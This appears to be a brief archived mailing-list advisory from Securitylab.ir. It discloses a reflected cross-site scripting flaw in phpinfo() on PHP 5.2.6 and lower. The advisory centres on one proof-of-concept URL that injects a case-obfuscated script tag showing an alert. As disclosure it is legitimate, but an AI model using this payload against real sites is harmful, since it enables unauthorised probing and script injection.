info | 6 Mar 12:03
Picon

phpinfo() XSS Vulnerability

###################################################################
# Securitylab.ir
#################################################################
# Note: The above code in php 5.2.6 and lower test is successful
#################################################################
Vulnerability:
http://site.com/phpinfo.php?+<ScRipT>alert(0111001101100101011000110111010101110010011010010111010001111001);</sCrIpT>+
#################################################################
# Discoverd By: Pouya Daneshmand
# Website: http://securitylab.ir

# Contacts: info[at]securitylab.ir & whh_iran <at> yahoo.com
###################################################################


Gmane